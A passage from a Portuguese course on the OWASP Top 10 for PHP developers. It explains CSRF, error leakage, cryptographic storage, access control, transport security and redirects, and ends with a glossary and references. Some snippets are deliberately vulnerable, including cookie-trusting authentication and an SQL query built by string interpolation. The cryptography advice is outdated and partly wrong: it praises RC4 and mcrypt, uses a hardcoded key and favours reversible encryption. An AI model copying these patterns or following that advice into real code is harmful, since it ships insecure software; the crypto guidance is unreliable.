Tipos conhecidos: Esta vulnerabilidade também é conhecida pelos nomes: Session Riding, One-click Attack, Cross Site Reference Forgery, Hostile Linking e Automation Attack. Também é conhecida pelo acrônimo XSRF, embora tanto o OWASP como a MITRE tenham chegado no consenso de utilizar o acrônimo CSRF e o nome Cross Site Request Forgery.



Uma das principais causas da existência desta vulnerabilidade é a confiança excessiva por parte da aplicação em credenciais de acesso automaticamente transmitidas, como um cookie de sessão, ou por permitir que credenciais de acesso sejam transmitidas por parâmetros de query string ou formulário sem checagens de segurança adicionais.

Embora não sejam absolutamente necessárias para que ocorram falhas de CSRF, toda a aplicação vulnerável à XSS é, via de regra, um veículo para ataques baseados em CSRF, pois tags injetadas podem conter o direcionamento necessário para a aplicação vulnerável.


Diversas. A consequência da exploração de uma vulnerabilidade CSRF está diretamente ligada ao tipo de ações possíveis na aplicação vulnerável.




Exemplo #1 – Confiando em cookies

<?phpif (isset($_COOKIE['cliente_autenticado'])) { // Qualquer código de validação das informações contidas no cookie // Seguido do código que implementa um comportamento “normal” da aplicação // como se o usuário já estivesse autenticado.}?>

É importante frisar que, embora o exemplo clássico desta vulnerabilidade esteja associado à confiança em cookies, mesmo as aplicações que não lidam com cookies ou sempre realizam a autenticação do usuário não são necessariamente seguras, embora sejam mais complexas de serem atacadas.

Isto ocorre porque se as credenciais do usuário forem expostas por qualquer motivo, elas podem ser enviadas em uma requisição forjada para o script de autenticação, e consequentemente permitir uma ação em nome do usuário posteriormente.


Qualquer solução que não implemente uma checagem de segurança que se baseie em uma forte rotina de verificação que não seja disponível para o browser é, por definição, insuficiente.

Recomendações

● Certifique-se de que sua aplicação não seja vulnerável à ataques XSS.

● Trabalhe com tokens específicos que não sejam armazenados em nenhum meio – como sessões, por exemplo – que possibilite ao browser “lembrá-los”.

● Para ações extremamente delicadas, re-autentique o usuário.

● Não utilize o requisições GET para ações delicadas.




Uma das soluções para os ataques que se baseiam em CSRF é a inclusão de um Token de validação que não seja transmitido por URL ou sessão e que não possa ser “advinhado”:

1 Uma classe para o controle destes tokens funcionaria, a grosso modo, assim:

1.1 Gerar novos tokens

1.2 Armazenar tokens gerados em um RDBMS de forma à utilizá-los

1.3 Os tokens expirarão depois de um tempo pré-definido.

2 O script responsável por realizar a autenticação, por sua vez, não apenas checará pela validade do token, como fará com que ele expire automaticamente depois do seu uso.

Observe-se que, embora a prática seja relativamente complexa, a teoria por trás disso é simples: o ponto crucial é que se utilize uma espécie de “chave” de validação que seja independente do browser e que não seja “memorizado” por nenhum mecanismo de armazenamento do lado cliente.

Desta forma impedimos que um ataque que procura explorar vulnerabilidades CSRF tente transmitir automaticamente esta chave.



Configuração Equivocada de Segurança

O que é: Aplicações podem “vazar” informações sobre sua configuração e rotinas internas, devido à uma variedade de problemas. Elas também podem vazar informações sobre suas rotinas de processamento de estado através do tempo que demoram para processar requisições específicas ou como reagem à diferentes entradas de informação.

Tipos conhecidos: -



Aplicações geralmente apresentam mensagens de erro para seus usuários. Frequentemente estas mensagens são úteis para um atacante, já que elas revelam detalhes de implementação ou informações que são úteis para a exploração de uma vulnerabilidade específica. Os exemplos mais comuns são:

● Tratamento de erro detalhado, onde a indução de um erro causa a exibição de muita informação, como falhas de queries SQL ou outras informações de debug.

● Funções que produzem resultados diferentes dependendo da entrada de dados. Por exemplo: uma função de autenticação deveria produzir exatamente a mesma mensagem de erro para os casos em que o usuário não existe e para quando a senha está incorreta.


● Comprometimento de toda a aplicação através do comprometimento de um dos componentes do backend, como o RDBMS, através da análise de mensagens de erros em falhas na execução de queries.

● Facilitação da exploração das demais vulnerabilidades expostas neste material.




<?php$conn = mysql_connect($host, $user, $senha);$sql = “SELECT id FROM usuarios WHERE login='$login' AND senha='$senha'”;$resultado = mysql_query($sql) or die('Erro ao executar a query: ' . $sql);// Mais código padrão?>


Uma mensagem de erro retornada pela primeira linha, no caso de problemas no RDBMS, entregaria muitas informações importantes para um atacante:

Warning: mysql_connect() [function.mysql-connect]: Access denied for user 'usuario'@'localhost' (using password: YES) in /home/galvao/workspace/topten/mysql_error.php on line 2

Observe-se que, se para invadirmos um RDBMS precisamos de três informações (endereço do servidor, usuário e senha), a mensagem de erro acima já nos disponibiliza duas destas.


É importante observar que o uso ou não da função die não representa um acréscimo de risco: esta função apenas nos permite interromper a execução do script e exibir uma mensagem de erro customizada. Embora ambas as coisas sejam interessantes no tratamento desta vulnerabilidade se a exibição de erros do interpretador PHP estiver ativada elas de nada adiantarão.

Da mesma forma é importante que haja um planejamento cuidadoso da aplicação, em um ponto que é normalmente ignorado: o tratamento de erros específicos e que mensagens serão exibidas para o usuário.



Recomendações

● Certifique-se que toda a equipe de desenvolvimento possua uma política bem definida no tratamento de exceções.

● Todas as ações que passam pelo mesma rotina (por exemplo, autenticação) retornem a mesma mensagem de erro em caso de falha, e no mesmo tempo de execução.

● Quando trabalhamos com aplicações web existem normalmente diversos componentes envolvidos no desenvolvimento, como o RDBMS e o servidor Web, por exemplo, que podem retornar mensagens de erro para a aplicação. Certifique-se de que erros vindos de qualquer componente sejam devidamente tratados.


● Desative a exibição de mensagens de erro (display_errors) e ative o armazenamento das mensagens em arquivo (log_errors).

● Considere implementar um handler padrão para todo e qualquer erro (veja a seguir).




<?php class ErrorHandler { private static $errMsg;

public static function displayError($pErrCode, $pErrMsg, $pErrFile, $pErrLine) { self::$errMsg = "Código: $pErrCode\nMensagem: $pErrMsg\nArquivo: $pErrFile\nLinha: $pErrLine"; echo "Ocorreu um erro. Por gentileza contate o administrador do sistema."; mail('[email protected]', 'Erro no sistema', self::$errMsg); die(); } } ?>

<?php// Arquivo para ser incluído em todos os scriptsrequire 'error_handler.class.php'; set_error_handler(array(ErrorHandler, 'displayError'), E_ALL);?>

Armazenamento Criptográfico Inseguro

O que é: O uso de criptografia se tornou uma questão-chave da maioria das aplicações web. Porém, falhar em realmente criptografar dados delicados é extremamente comum.

Tipos conhecidos: -



Os problemas relacionados à esta vulnerabilidade podem ser definidos da seguinte forma:

● Não utilizar nenhuma forma de criptografia

● Uso de algoritmos caseiros

● Uso inseguro de algoritmos fortes (veja detalhes nas Recomendações)

● Uso de algoritmos comprovadamente fracos, como MD5 e SHA-1

● Armazenamento de chaves em meios inseguros



Esta vulnerabilidade é mais uma cuja proteção é mais foco de planejamento e design da aplicação do que propriamente código-fonte. Ainda assim, veremos algumas questões relacionadas específicamente à linguagem PHP que podem facilitar o seu tratamento.


● Exposição de dados sensíveis, como credenciais de acesso, dados relacionados à comércio, etc...

● Violação de privacidade

● Comprometimento da aplicação


Soluções “clássicas” e insuficientes para a criptografia de informação envolve, basicamente, o uso dos dois hashes mais comuns em aplicações PHP: MD5 e SHA-1. Qualquer aplicação que utilize uma das duas funções – md5 e sha1, respectivamente – está automaticamente vulnerável.

Isto se dá pelo fato de que o MD5 já foi completamente quebrado, sendo fácil encontrar na própria web sites que disponibilizam as chamadas rainbow tables – literalmente tabelas que contém a string decodificada partindo-se do hash original.

O SHA-1, ou US Secure Hash Algorithm 1, era o algoritmo criptográfico utilizado pelo governo Norte-Americano. Embora não haja notícia de sua quebra total, uma quebra parcial foi alcançada por um pesquisador chinês, levando o governo dos EUA à abandonar este algoritmo.

Resumidamente, podemos afirmar que as seguintes afirmações são verdadeiras, embora evidentemente elas não estejam presentes neste material para proporcionar paz de espírito à ninguém:

● Entre não utilizar nenhum algoritmo e utilizar MD5, o melhor é optar por este.

● Entre utilizar MD5 e SHA-1 a melhor opção é a segunda.



Recomendações

● Não crie algoritmos próprios. É um equívoco enorme e muito comum se pensar que pode-se obter algum nível de segurança por obscuridade ao se optar por um código próprio.

● Não use algoritmos fracos como MD5 e SHA-1.

● Ao usar chaves criptográficas e vetores de inicialização, jamais deixe o código responsável por sua geração acessível on-line e jamais armazene-as em meios que podem ser acessados por terceiros.

● Certifique-se de que credenciais de acesso (como à base de dados, por exemplo) não sejam acessíveis publicamente.

● Lembre-se que dados 'delicados' não representam apenas os casos mais óbvios como senhas e números de cartão de crédito. Se o dado é importante ele deve ser criptografado.


● Esqueça md5 e sha1. Utilize a função mcrypt. Embora esta função não seja padrão na instalação do interpretador da linguagem a grande maioria dos serviços de hospedagem habilita esta extensão por default.


A grande vantagem da função mcrypt sobre as demais é a possibilidade de implementação de algoritmos notoriamente fortes (como TripleDES e RC4, apenas pra citar alguns).

Outra funcionalidade que é desconhecida para a maioria dos programadores PHP devido ao hábito de uso da md5 e sha1 é que esta função implementa algoritmos de mão-dupla, tornando possível a decodificação de informações, quando necessário.



<?php//Exemplo de uso da mcrypt, com criptografia de mão-dupla$usuario = 'galvao'; $chave = 'hj(*7aksjkas aa, ';

$iv_size = mcrypt_get_iv_size(MCRYPT_TRIPLEDES, MCRYPT_MODE_OFB); $iv = mcrypt_create_iv($iv_size, MCRYPT_DEV_RANDOM);

$crypt_user = mcrypt_encrypt(MCRYPT_TRIPLEDES, $chave, $usuario, MCRYPT_MODE_OFB, $iv);

echo "$crypt_user\n";

$decrypt_user = mcrypt_decrypt(MCRYPT_TRIPLEDES, $chave, $crypt_user, MCRYPT_MODE_OFB, $iv);

echo "$decrypt_user\n"; ?>

Falha de Restrição de Acesso a URL

O que é: Frequentemente a única forma de restrição de acesso à uma URL específica dentro de uma aplicação é a ausência de links que apontem diretamente para a mesma. Um atacante com conhecimento, habilidade ou até mesmo sorte pode descobrir e acessar uma URL, invocando funções da aplicação ou obtendo acesso à informações.

Tipos conhecidos: -



A falta de checagens de controle de acesso é uma das principais causas desta vulnerabilidade. isto acaba resultando em acesso indevido à URLs que normalmente não deveiam estar disponíveis. Um “efeito dominó” é gerado à partir deste acesso: a URL causa a invocação de funções, que por sua vez desempenham ações sobre componentes, o que nos piores casos leva à exposição e/ou corrupção de dados.




● Exposição de dados.

● Violação de privacidade.

● Corrupção de dados.

● Comprometimento da aplicação.


As questões relacionadas à esta vulnerabilidade não podem ser demonstradas, à exemplo das demais, por exemplos “clássicos”. Sendo assim, veremos com maior foco a parte de recomendações.


Os erros mais comuns que tornam uma aplicação suscetível à ataques que explorem esta vulnerabilidade são relacionados ao planejamento. É muito comum a preocupação, por exemplo, de restringir o acesso à URLs delicadas apenas forçando-se uma rotina de autenticação.

Este tipo de “proteção” é extremente ineficiente devido à falta de rotinas de controle de acesso e permissões. Se qualquer usuário do sistema for comprometido, o acesso à URLs restritas torna-se possível pelo simples fato de um atacante possuir credenciais de acesso.

Além disso é extremamente comum a tentiva de proteção através de obscuridade ao se definir as URLs. Esta abordagem é ingênua, pois sendo a web um ambiente inerentemente aberto, um simples ataque automatizado de “tentativa x erro” é suficiente para descobrir qualquer URL, por mais obscura que seja.

Ao se definir rotinas de permissão de acesso um dos erros mais comuns é a inexistência de uma categoria “anônima”. Isso faz com que a probabilidade de erros na definição das regras de permissão aumente consideravelmente.



Recomendações

● Assegure-se de que uma forte rotina de controle de acesso e níveis de permissão seja parte da aplicação, em todas as suas fases: Planejamento, Desenvolvimento, Testes, etc...

● Certifique-se de que todas as URLs sejam cobertas por estas rotinas e que todos os “níveis” de usuários da aplicação estejam cobertos, mesmo o nível “usuário-não-registrado/autenticado”.

● Arquivos que serão usados por inclusão devem, via de regra, estar for a da raiz web, não sendo publicamente acessíveis.

● Bloqueie o acesso à qualquer tipo de arquivo que sua aplicação não utilize, tomando por regra a abordagem do tipo white list.


● Utilize práticas organizadas e bem-estruturadas de desenvolvimento (como OO e MVC), que naturalmente levarão à práticas que resultarão na separação de lógica de aplicação, mantendo arquivos críticos longe da raiz web do servidor.

● Uma prática comum em certos frameworks (como o Zend Framework, por exemplo) e que auxilia na proteção contra esta vulnerabilidade é o padrão Front Controller onde todas as requisições são tratadas pelo mesmo controller.

Recomendações na prática

Através da criação de um arquivo .htaccess na raiz web de sua aplicação é possível implementar o padrão Front Controller:

# www/.htaccess RewriteEngine On #RewriteBase / RewriteRule !\.(js|ico|txt|gif|jpg|png|css)$ index.php



Observe-se que a regra de redirecionamento para a controller padrão baseia-se na análise da extensão do arquivo presente na URL, impedindo-se que requisições comuns – como por exemplo uma imagem – fiquem “presos” na regra.

Este é apenas um exemplo simples e foge do escopo deste material, mas o entendimento do funcionamento de re-escrita de URLs através da manipulação de um arquivo .htaccess torna-se importante na medida que pode auxiliar na implementação de algumas das recomendações.

Proteção Insuficiente a Camada de Transporte

O que é: É extremamente comum em aplicações web a despreocupação com a criptografia de comunicação de informações delicadas. A falha na implementação desta implica na exposição dos dados que estão trafegando (tanto em páginas web, como em comunicações com algum backend).

Tipos conhecidos: -



Através do monitoramento (sniffing) de comunicações transmitidas através de redes não criptografadas um atacante pode ter acesso à toda e qualquer informação constante nesta comunicação.

Este é o único caso de vulnerabilidade presente neste material que não possui relação direta com código-fonte.


● Exposição de informações, incluindo credenciais de acesso.

● Violação de privacidade.

● Comprometimento da rede, do servidor e por consequência de toda e qualquer aplicação que trafegue informações nestes meios.



Recomendações

● Toda e qualquer comunicação que trabalhe com informações delicadas deve ser, obrigatoriamente, protegida, sendo o exemplo mais comum a criptografia através de SSL / HTTPS.

● Isto inclui comunicações entre a aplicação e seus backends, como o RDBMS.

Redirects e Forwards não validados

O que é: É a não proteção de URLs (de certa forma relacionado ao acesso inseguro a URLs) que são acessadas por redirects e forwards.

Tipos conhecidos: -



Redirects e Forwards são extremamente comuns em aplicações web. Os problemas começam a aparecer em duas ocasiões:

● Quando parametrizamos a URL para qual o usuário será redirecionado/encaminhado, sem a presença de uma rotina de validação.

● Quando não validamos a ocasião em que o usuário será redirecionado/encaminhado, permitindo a exploração destes casos.


● Acesso indevido a URLs

● Phishing, através do redirecionamento para páginas que se encontram em outros domínios, externos a aplicação.

Recomendações

● Analise de onde o usuário está vindo, de forma a mapear a aplicação e impedir acessos indevidos a URLs

● Valide qualquer caso de redirect ou forward parametrizável

● Preste especial atenção aos casos parametrizados que precisam, necessariamente, utilizar URLs externas.



Conclusão

A proteção contra as vulnerabilidades mais relevantes em aplicações web é um assunto complexo. Além disso é importante entendermos que, embora o desenvolvedor desempenhe um papel importante, a questão é também multi-disciplinar, já que envolve fases de uma aplicação que nem sempre contam com a sua presença.

O que de fato é importante é que o assunto siga sendo divulgado, debatido, estudado e que soluções sejam criadas, implementadas e disponibilizadas.

Este documento não tem a pretensão de ser umn estudo completo sobre o assunto, mas promover o seu entendimento e fornecer caminhos para que sua aplicação torne-se mais segura, robusta e confiável, poupando problemas para você/sua equipe/seus usuários.

Espero que o objetivo tenha sido atingido, que você tenha tirado um bom proveito deste curso e que o OWASP e iniciativas similares que são tão importantes nos dias de hoje se tornem mais conhecidos e divulgados na comunidade de desenvolvimento.

Muito obrigado e sucesso,

Er Galvão Abbott

Porto Alegre, 10 de Março de 2011.



Glossário

Este glossário foi montado para facilitar o entendimento de certos termos/siglas utilizados neste material. Boa parte deste foi montada tendo como base as definições presentes na Wikipedia, definitivamente a melhor fonte de informação para este tipo de coisa.

A

API – Application Programming Interface, ou literalmente “Interface de Programação de Aplicação”. Uma API é um conjunto de rotinas, estruturas de dados, classes, e/ou protocolos fornecidos por bibliotecas e/ou Sistemas Operacionais de forma à suportar e orientar o desenvolvimento de aplicações.

B

backend – Em alguns casos é quase um sinônimo de server-side, mas com a diferença básica de ser um termo usado para componentes específicos. Por exemplo, um RDBMS é um backend. Também pode ser usado, em desenvolvimento, para se especificar as partes de uma aplicação. Por exemplo, se você está desenvolvendo a parte da aplicação que envolve PHP e um RDBMS você está “desenvolvendo o backend da aplicação”.

black list – Literalmente “lista negra”. Abordagem de se considerar apenas o que é inválido.

C

canonicalização – Decodificação de uma entrada de dados para uma forma primitiva para que a aplicação possa trabalhar com o dado.

chroot jail – Uma solução que faz com que a aplicação rodando dentro de um diretório específico não possa acessar arquivos fora deste diretório.

client-side – O “lado do cliente”, tipicamente representado, no caso das aplicações web, pelo browser.



D

defacement – Literalmente “deformação”. Consequência de um ataque (levando-se em conta o contexto deste material) em que o site é deformado com a alteração/inserção das imagens presentes no mesmo.

DOM – Document Object Model ou Modelo de Objetos do Documento, entre outras coisas permite o parse de um documento, através da identificação de seus elementos.

DoS – Denial of Service, ou Negação de Serviço. Consequência de um ataque (levando-se em conta o contexto deste material) em que um serviço é “negado” pelo seu provedor (software/hardware).

E

eval – Corruptela de evaluate, ou literalmente “avaliar”. Comando que executa a string informada como se esta fosse código-fonte da própria linguagem.

F

fallback – Ação “alternativa”, executada quando todas as demais falham.

I

input – Entrada de dados.

M

mashup – Aplicação web que combina elementos de outras fontes/aplicações.

O

output – Saída (normalmente, mas não necessariamente a exibição) de dados.

P

phishing – Técnica onde procura-se enganar o usuário forjando um site/aplicação legítimo.



Q

query – Literalmente “consulta”. Basicamente utiliza-se o termo para qualquer comando (seja o comando propriamente dito de consulta ou não) enviado para um RDBMS.

query string – Parte da URL responsável por transmitir dados para um script.

R

(R)DBMS – (Relational) Data Bases Managing System ou “Sistema Gerenciador de Bases de Dados Relacionais”. Sistema que gerencia as bases de dados. Exemplos: PostgreSQL, Oracle

rootkit – Software malicioso composto de um ou mais programas que tem por objetivo ocultar p fato de que um sistema foi comprometido.

S

sand box – Ver chroot jail.

server-side – Literalmente o “lado servidor”. É considerado server-side: o interpretador PHP, o (R)DBMS, etc...

SMB – Server Message Block, ou “Bloco de Mensagens do Servidor”. Protocolo comumente usado para prover acesso compartilhado para arquivos, dispositivos e portas seriais.

SO – Sistema Operacional

stored procedures – Pedaços de código (similares à funções) programados e armazenados (stored) diretamente em um (R)DBMS.

stream – Sucessão contínua, geralmente com início e fim definidos, de dados.

string – Conjunto de caracteres. Utiliza-se para dados do tipo “texto”.

T

token – Identificador, geralmente gerado em tempo de execução, que permite identificar e validar uma seção ou conjunto de ações realizado em uma aplicação.



Referências

● OWASP – Open Web Application Security Project: http://www.owasp.org/

○ Capitulo Brasileiro: http://www.owasp.org/index.php/Brazilian

○ Top Ten Project: http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

○ PHP Project: http://www.owasp.org/index.php/Category:PHP

○ PHP AntiXSS Library Project: http://www.owasp.org/index.php/Category:OWASP_PHP_AntiXSS_Library_Project

○ ESAPI – Enterprise Security API: http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API

● MITRE Corporation: http://www.mitre.org/

○ CWE – Common Weakness Enumeration: http://cwe.mitre.org/

■ Vulnerability Type Distributions in CVE: http://cwe.mitre.org/documents/vuln-trends/index.html

● Diversos:

○ SQL Attacks by Example: http://www.unixwiz.net/techtips/sql-injection.html

○ Wikipedia: http://wikipedia.org/

○ PHP Security Consortium: http://phpsec.org/


http://wikipedia.org/

http://www.unixwiz.net/techtips/sql-injection.html

http://cwe.mitre.org/documents/vuln-trends/index.html

http://cwe.mitre.org/documents/vuln-trends/index.html

http://cwe.mitre.org/

http://www.mitre.org/

http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API

http://www.owasp.org/index.php/Category:OWASP_PHP_AntiXSS_Library_Project

http://www.owasp.org/index.php/Category:OWASP_PHP_AntiXSS_Library_Project

http://www.owasp.org/index.php/Category:PHP

http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

http://www.owasp.org/index.php/Brazilian

http://www.owasp.org/

http://phpsec.org/

Technology

Top 10 OWASP com PHP